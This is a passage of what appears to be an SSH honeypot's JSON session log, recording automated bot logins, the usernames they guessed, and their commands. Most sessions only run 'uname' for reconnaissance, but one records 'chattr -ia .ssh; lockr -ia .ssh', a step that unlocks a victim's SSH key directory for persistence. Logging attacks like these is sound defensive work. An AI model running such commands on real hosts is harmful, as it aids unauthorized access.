  "src_port": 58606,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:54.671846+00:00",
  "ended_at": "2026-08-27T02:08:01.763365+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "66d5a86a-77e2-4957-8302-68876bbe7dc3",
  "name": "lucid-dappled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37616,
  "username": "factorio",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 354,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:54.644331+00:00",
  "ended_at": "2026-08-27T02:08:00.231821+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "d3a4d40a-e5c0-4106-bafe-829c062ba3b0",
  "name": "gleaming-orderly-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36634,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:53.379160+00:00",
  "ended_at": "2026-08-27T02:07:56.567611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "62f9cab4-3460-41d5-bb1c-1b22a86af402",
  "name": "tawny-brazen-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45848,
  "username": "bot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:07:43.494635+00:00",
  "ended_at": "2026-08-27T02:07:46.291416+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19156d51-f5e7-41b4-a2d2-bc739e72e2a0",
  "name": "subtle-honest-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:41.975012+00:00",
  "ended_at": "2026-08-27T02:07:47.283165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7d6add3-58e3-4bfd-97bc-d061d07e9be8",
  "name": "gilded-shaded-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48732,
  "username": "bot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:38.075473+00:00",
  "ended_at": "2026-08-27T02:07:46.292776+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "67007d3c-ac30-40d6-bb6c-889d8ed2bb40",
  "name": "hushed-wooded-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41050,
  "username": "dani",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:07:26.327621+00:00",
  "ended_at": "2026-08-27T02:07:28.219344+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ba5ce5e-40fc-4bae-9f74-d3fbc6ebd0e1",
  "name": "stoic-pleasant-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:24.950551+00:00",
  "ended_at": "2026-08-27T02:07:30.815341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "32fb29f5-da5e-4091-a94b-1af689991d7d",
  "name": "gritty-meadow-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33768,
  "username": "dani",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:20.123673+00:00",
  "ended_at": "2026-08-27T02:07:28.221750+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "d0fed7b6-fccf-4823-86bb-904ddf8da366",
  "name": "lucid-merry-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:18.261632+00:00",
  "ended_at": "2026-08-27T02:07:22.067798+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cea57dda-6e04-40b7-9124-e5ed4d49f18a",
  "name": "gleaming-vivid-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 36662,
  "username": "esroot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:07:08.233583+00:00",
  "ended_at": "2026-08-27T02:07:10.488033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f52ef518-8208-430c-8017-809fa6d8a8d3",
  "name": "wooded-tender-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43950,
  "username": "esroot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:04.484078+00:00",
  "ended_at": "2026-08-27T02:07:10.486844+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "aaa63a3c-45dc-4f2e-9627-a391bc24b719",
  "name": "drifting-shaded-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:03.784262+00:00",
  "ended_at": "2026-08-27T02:07:07.624002+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7876d386-4c1d-458f-9e15-9fcc1f3271f7",
  "name": "verdant-marbled-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58614,
  "username": "milad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:06:59.996786+00:00",
  "ended_at": "2026-08-27T02:07:02.821574+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1382911-5a92-4a64-92c3-58a6b8411465",
  "name": "dappled-airy-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51320,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:59.208051+00:00",
  "ended_at": "2026-08-27T02:07:03.774014+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "66d13196-378b-4d86-96a9-6c0d1965b611",
  "name": "feathered-cunning-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43898,
  "username": "milad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:56.224022+00:00",
  "ended_at": "2026-08-27T02:07:02.820052+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "9e1c056e-2f9c-401a-9444-9b12adbd769f",
  "name": "placid-curious-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37490,
  "username": "Caps",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:06:46.253275+00:00",
  "ended_at": "2026-08-27T02:06:49.940090+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4afef829-2b68-4dc3-bdec-b31e8edf5992",
  "name": "grassy-clever-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:44.037273+00:00",
  "ended_at": "2026-08-27T02:06:47.512065+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39de8817-1e64-42ae-865d-eae1a2e5b09e",
  "name": "reedy-amber-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46532,
  "username": "Caps",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 504,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:40.234057+00:00",
  "ended_at": "2026-08-27T02:06:49.941990+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "edc56a6d-e928-4b9a-880f-f976719fa0e4",
  "name": "dutiful-nimble-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46592,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:33.040081+00:00",
  "ended_at": "2026-08-27T02:06:35.882374+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5a87a7b-c84e-463a-a2d3-92e8a21505bb",
  "name": "indigo-peaty-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:19.041503+00:00",
  "ended_at": "2026-08-27T02:06:23.346544+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "017c8818-722e-4aa5-ab5e-0df182515342",
  "name": "eager-calm-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:18.153402+00:00",
  "ended_at": "2026-08-27T02:06:24.241878+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4baa8b49-3812-4538-ac17-5605eb16b432",
  "name": "nautical-vaulted-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33704,
  "username": "gabriel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:06:15.528829+00:00",
  "ended_at": "2026-08-27T02:06:17.933536+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b11cf79-634d-4a72-874d-443e40d46074",
  "name": "sandy-frugal-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 55304,
  "username": "toby",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:06:10.980914+00:00",
  "ended_at": "2026-08-27T02:06:12.218336+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "561ebc52-a9a8-43fd-b154-95111c674fbe",
  "name": "alpine-northern-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33100,
  "username": "gabriel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:06:09.057474+00:00",
  "ended_at": "2026-08-27T02:06:17.934616+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "4673a1fc-3159-48c3-be7b-da1a3d7f1363",
  "name": "spirited-flinty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:53.400540+00:00",
  "ended_at": "2026-08-27T02:05:56.991292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "319c08b1-c9d2-4a64-9385-841e41e80a6a",
  "name": "regal-salty-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 55308,
  "username": "toby",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:52.104419+00:00",
  "ended_at": "2026-08-27T02:05:53.733957+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0fdcefd-ac51-444e-ae12-c65e6cba73fa",
  "name": "scarlet-lunar-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 374,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:50.545540+00:00",
  "ended_at": "2026-08-27T02:05:54.016403+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18b581b1-8371-49dd-ab0b-589b2e876eb9",
  "name": "blithe-nautical-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37598,
  "username": "nvidia",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:50.419267+00:00",
  "ended_at": "2026-08-27T02:05:53.649135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7132cec5-a351-4755-96a9-becdcf543cbe",
  "name": "sunlit-curious-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 55306,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:48.867217+00:00",
  "ended_at": "2026-08-27T02:05:50.581998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a579cd3a-8c86-4a85-a2fc-86dcf3ef7ebf",
  "name": "coastal-honest-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60812,
  "username": "nvidia",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:44.696586+00:00",
  "ended_at": "2026-08-27T02:05:53.651100+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "0a809f58-76e7-43b8-b237-90d77692a718",
  "name": "dewy-seaward-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60840,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:42.767176+00:00",
  "ended_at": "2026-08-27T02:05:47.261729+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "05de7a9a-cd39-4661-b29d-221b03bbf086",
  "name": "dewy-northern-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 46550,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:37.363907+00:00",
  "ended_at": "2026-08-27T02:05:40.140508+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da5e8957-e096-4798-84e4-693dc13e7b12",
  "name": "indigo-bashful-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34786,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:33.251461+00:00",
  "ended_at": "2026-08-27T02:05:40.138831+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "017964d3-fb54-4eca-bb64-25ca261ec98a",
  "name": "muted-jolly-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:25.378170+00:00",
  "ended_at": "2026-08-27T02:05:28.416771+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce13f9a3-7eae-4ef7-8765-117da1497666",
  "name": "keen-plush-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:15.441252+00:00",
  "ended_at": "2026-08-27T02:05:18.825165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b32f38a9-d00f-4171-91b4-402248037267",
  "name": "sullen-crystal-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58160,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:14.217780+00:00",
  "ended_at": "2026-08-27T02:05:19.433299+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3c245610-adc0-477b-a665-6ba8017efc54",
  "name": "vivid-cheerful-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33080,
  "username": "main",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:12.292167+00:00",
  "ended_at": "2026-08-27T02:05:14.133180+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "32f0f634-01a7-40c0-8a27-fe8f7eaf1941",
  "name": "rustic-tidal-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59694,
  "username": "main",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:08.012851+00:00",
  "ended_at": "2026-08-27T02:05:14.134774+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "cf595a15-00bb-436e-aaa4-53236e7effcb",
  "name": "autumn-kindly-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:05:03.283705+00:00",
  "ended_at": "2026-08-27T02:05:06.560275+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "15882ddb-651f-4a33-9814-18dde8ff075d",
  "name": "coral-rambling-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34036,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:04:59.153294+00:00",
  "ended_at": "2026-08-27T02:05:02.886913+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba1cc3b0-44e8-43cb-96df-062d99a9377a",
  "name": "tidal-tangled-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52190,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:53.302413+00:00",
  "ended_at": "2026-08-27T02:05:02.878147+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "f6643ef6-9d0a-4205-9593-043ad3dce771",
  "name": "frosty-restless-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:42.827108+00:00",
  "ended_at": "2026-08-27T02:04:47.641000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90d549d7-4239-4714-a1d7-5f9b899ba636",
  "name": "curious-woven-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34770,
  "username": "coder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:04:32.206420+00:00",
  "ended_at": "2026-08-27T02:04:35.346125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2827f413-1f59-47ca-8929-4b71c7940d2d",
  "name": "lanky-blazing-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42804,
  "username": "coder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:26.762178+00:00",
  "ended_at": "2026-08-27T02:04:35.342864+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "6d2c32ca-28f4-479b-917e-d124ebe22a5b",
  "name": "sleepy-misty-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57964,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:26.511141+00:00",
  "ended_at": "2026-08-27T02:04:29.730936+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4c417fc8-768e-40ac-a4c5-9764dd9ae82c",
  "name": "upland-jovial-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:26.308576+00:00",
  "ended_at": "2026-08-27T02:04:32.275395+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef4049b5-b614-4388-b9cf-9d5dbde3acd4",
  "name": "opal-blazing-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58126,
  "username": "usuario",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:04:15.045785+00:00",
  "ended_at": "2026-08-27T02:04:17.831481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e58ca76-4347-49b3-8151-87f08588d70c",
  "name": "feathered-coral-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:09.908742+00:00",
  "ended_at": "2026-08-27T02:04:15.159190+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1317dee8-835f-4eba-89dc-4b9c911b3c36",
  "name": "early-hushed-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50270,
  "username": "usuario",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:09.431080+00:00",
  "ended_at": "2026-08-27T02:04:17.829414+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "bf085a9f-dd76-44c2-8d04-a2ac7dcf3668",
  "name": "calm-gnarled-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47864,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
